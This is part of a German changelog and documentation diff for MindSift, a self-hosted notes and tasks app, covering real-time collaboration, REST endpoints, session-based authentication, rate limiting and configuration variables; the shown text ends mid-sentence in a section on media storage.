### Added
- Notizen: Nach dem Umwandeln eines `/todo`-Punkts in eine erweiterte Aufgabe öffnet sich diese direkt; ein Klick auf das Badge „Erweitert“ öffnet den Aufgabendialog.
### Changed
- Container-Build taggt Release-Images (`v*`) zusätzlich als `:stable` und `:latest`, den `dev`-Branch als `:dev`.
## [0.2] - 2026-10-28
### Added
- Echtzeit-Zusammenarbeit in Notizen (`internal/collab`, `frontend/src/lib/docSync`): Server-autoritativer Operations-Log (`doc_ops`) mit Baumstruktur, Fractional-Indexing-Sortierschlüsseln, 20-Sekunden-Blocksperren (Leases), Offline-Warteschlange in IndexedDB und automatischem Transport-Fallback (WebSocket → SSE → Long-Polling → Intervall-Polling).
- Notizen und Ordner lassen sich jetzt auch mit Schreibrecht („Bearbeiten“) teilen (FLAW-17).
- Sichtbare Blocksperren mit Namen des Bearbeitenden, Anwesenheitsanzeige im Notizkopf, Konfliktkopien („Übernehmen“ / „Verwerfen“) statt Datenverlust bei gleichzeitigen Änderungen sowie benutzerbezogenes Undo/Redo (`Ctrl/Cmd+Z`, `Ctrl+Y`) über die gesamte Notiz (FLAW-25, FLAW-26).
- Automatische Hintergrund-Verdichtung des Operations-Logs und Bereinigung gelöschter Blöcke (Tombstones) nach 30 Tagen.
- Outliner: `Backspace` am Zeilenanfang verschmilzt den Punkt mit dem vorherigen; `#Hashtags` werden direkt im Fließtext als anklickbare Chips gerendert; Klick in einen Punkt setzt den Cursor exakt an die geklickte Textstelle.
- Vitest + Testing Library im Frontend-Build sowie Playwright-End-to-End-Tests (`e2e/`) für Live-Kollaboration, Sperren und Proxy-Fallbacks.
### Removed
- **Achtung:** Altes ganzheitliches Überschreiben von Notizen (`PATCH /documents/{id}/blocks`, `DOC_BLOCKS_PATCHED`) entfernt; alle Blockänderungen laufen über `/docs/{id}/sync`.
### Security
- Echtzeit-Ereignisse (`BroadcastToAll` entfernt) und WebSocket-/SSE-Räume sind strikt auf berechtigte, angemeldete Benutzer beschränkt; `ReorderTasks` prüft Schreibrechte (IDOR behoben); SSE-Streams werden nicht mehr nach 30 s durch `WriteTimeout` getrennt; Block-Upserts prüfen die Dokumentzugehörigkeit (FLAW-01, FLAW-02, FLAW-03, FLAW-11, FLAW-15).
## [0.1] - 2026-10-27
### Added
- Erste veröffentlichte Version von MindSift als einzelner selbst gehosteter Container (Go-Backend, eingebettetes React/TypeScript/Tailwind-Frontend, SQLite im WAL-Modus).
- Schnellerfassung (Quick Dump per `C`/`/`, Spracheingabe, mehrzeilig mit `Shift+Enter`, direkte Zielwahl) und Triage-Deck (Tastaturkürzel & Smartphone-Wischgesten).
- Aufgabenverwaltung mit mehreren Listen, frei konfigurierbarem Kanban-Board, Prioritäten, Fälligkeitsdaten, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen, Filtern/Gruppierungen sowie Fälligkeits-Alarmen per E-Mail (SMTP), Discord und eigenem Webhook.
- Hierarchischer Outliner-Workspace mit Ordnerbaum, Drag & Drop ganzer Äste, Zoom-Fokus mit Breadcrumbs, Slash-Befehlen (`/todo`, `/link`, `/h1`–`/h3`, `/code`, `/callout`, `/divider`), Wiki-Links `[[Notiz]]`, `#Hashtag`-Übersicht, globalem To-Do-Rollup und `.md`-Export.
- Geteilte Listen (Einkaufs-, Pack- und Checklisten) mit `#Kategorie`-Gruppierung, Mengenangaben und Echtzeit-Abhaken.
- Benutzer-, Gruppen- und Admin-Verwaltung (Ersteinrichtungs-Assistent, Einladungscodes, Profilbilder, persönliche API-Keys & Webhook-Ingest `/api/v1/webhooks/ingest`, JSON-Datenexport) sowie CSS-Theme-Engine mit 4 Themes (`Dark`, `Light`, `High Contrast`, `Soft`) und PWA-Unterstützung.
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.7.0...dev
[0.7.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.7.0
[0.6.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.6.1
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
[0.5.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.1...v0.5.2
[0.5.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5...v0.5.1
[0.5]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4.1...v0.5
[0.4.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4...v0.4.1
[0.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.3...v0.4
[0.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2.1...v0.3
[0.2.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2...v0.2.1
[0.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.1...v0.2
[0.1]: https://git.dsit.me/sandrodach/MindSift/releases/tag/v0.1
+1 -2
View File
@@ -8,7 +8,7 @@ RUN npm install --no-audit --no-fund
COPY frontend/ ./
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
ARG APP_VERSION=""
RUN npx tsc --noEmit && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
# ==============================================================================
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
@@ -36,7 +36,6 @@ RUN go get github.com/go-chi/chi/v5@v5.2.0 \
# Copy application source & compiled frontend SPA assets for go:embed
COPY cmd/ ./cmd/
COPY internal/ ./internal/
COPY migrations/ ./migrations/
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
+1 -1
View File
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
## Entwickeln
+34 -12
View File
@@ -1,6 +1,6 @@
# REST-API
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) haben vorerst genau ein Recht: Daten einliefern über `POST /inbox` (Gedanke oder per `target` direkt Aufgabe) und `POST /webhooks/ingest`; alle anderen Endpunkte antworten mit `403`. Feinere Berechtigungen (Scopes) folgen. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
## Öffentlich
@@ -10,14 +10,24 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
| POST | `/auth/reset-password` | `{token, password}` (mind. 4 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
| POST | `/webhooks/ingest` | Aufgabe per Webhook anlegen, Token als `?token=`, `X-API-Key` oder Bearer. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; Klartext-Body wird als Inhalt genommen |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); Token als `?token=` nötig |
| GET | `/events` | SSE-Fallback; Token als `?token=` nötig |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
| POST | `/documents/{id}/extract` | `{blockId, clientId}`: Punkt samt Unterpunkten wird eigene Notiz (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht); der Punkt wird zu `[[Titel]]`. Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt |
| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
## Konto und Allgemeines (angemeldet)
@@ -25,12 +35,14 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|---|---|---|
| GET | `/auth/me` | Benutzer und Kennzahlen |
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
| POST | `/auth/logout` | Token sperren |
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
| GET | `/stats` | Zähler fürs Dashboard |
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
@@ -40,7 +52,9 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| — | `/import/mindsift?mode=restore` | Wiederherstellen: löscht vor dem Import alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen (erst nachdem die Datei vollständig gelesen und geprüft ist) |
| DELETE | `/user/data` | Alle eigenen Daten löschen, Konto bleibt (`{"password"}` nötig) |
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung) |
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
### Globale Suche (`GET /api/v1/search?q=`)
@@ -185,9 +199,12 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
## Beispiele
@@ -197,6 +214,11 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
# Aufgabenliste nur lesend freigeben
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
+1 -1
View File
@@ -20,7 +20,7 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
**Authentifizierung:** Token als `?token=<JWT|API-Key>` oder `Authorization`-Header. Ohne gültiges Token antworten `/ws` und `/events` mit `401`. Das Token wird nur beim Verbinden geprüft ([FLAW-22](../flaws.md)).
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
+48 -8
View File
@@ -58,14 +58,23 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `PORT` | `8080` | HTTP-Port |
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert ([FLAW-04](flaws.md)) |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
@@ -74,15 +83,35 @@ Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in
## Authentifizierung
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403` ([FLAW-07](flaws.md)).
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
## Medien in Notizen
Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit `![Beschriftung](media:med_…)`; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung 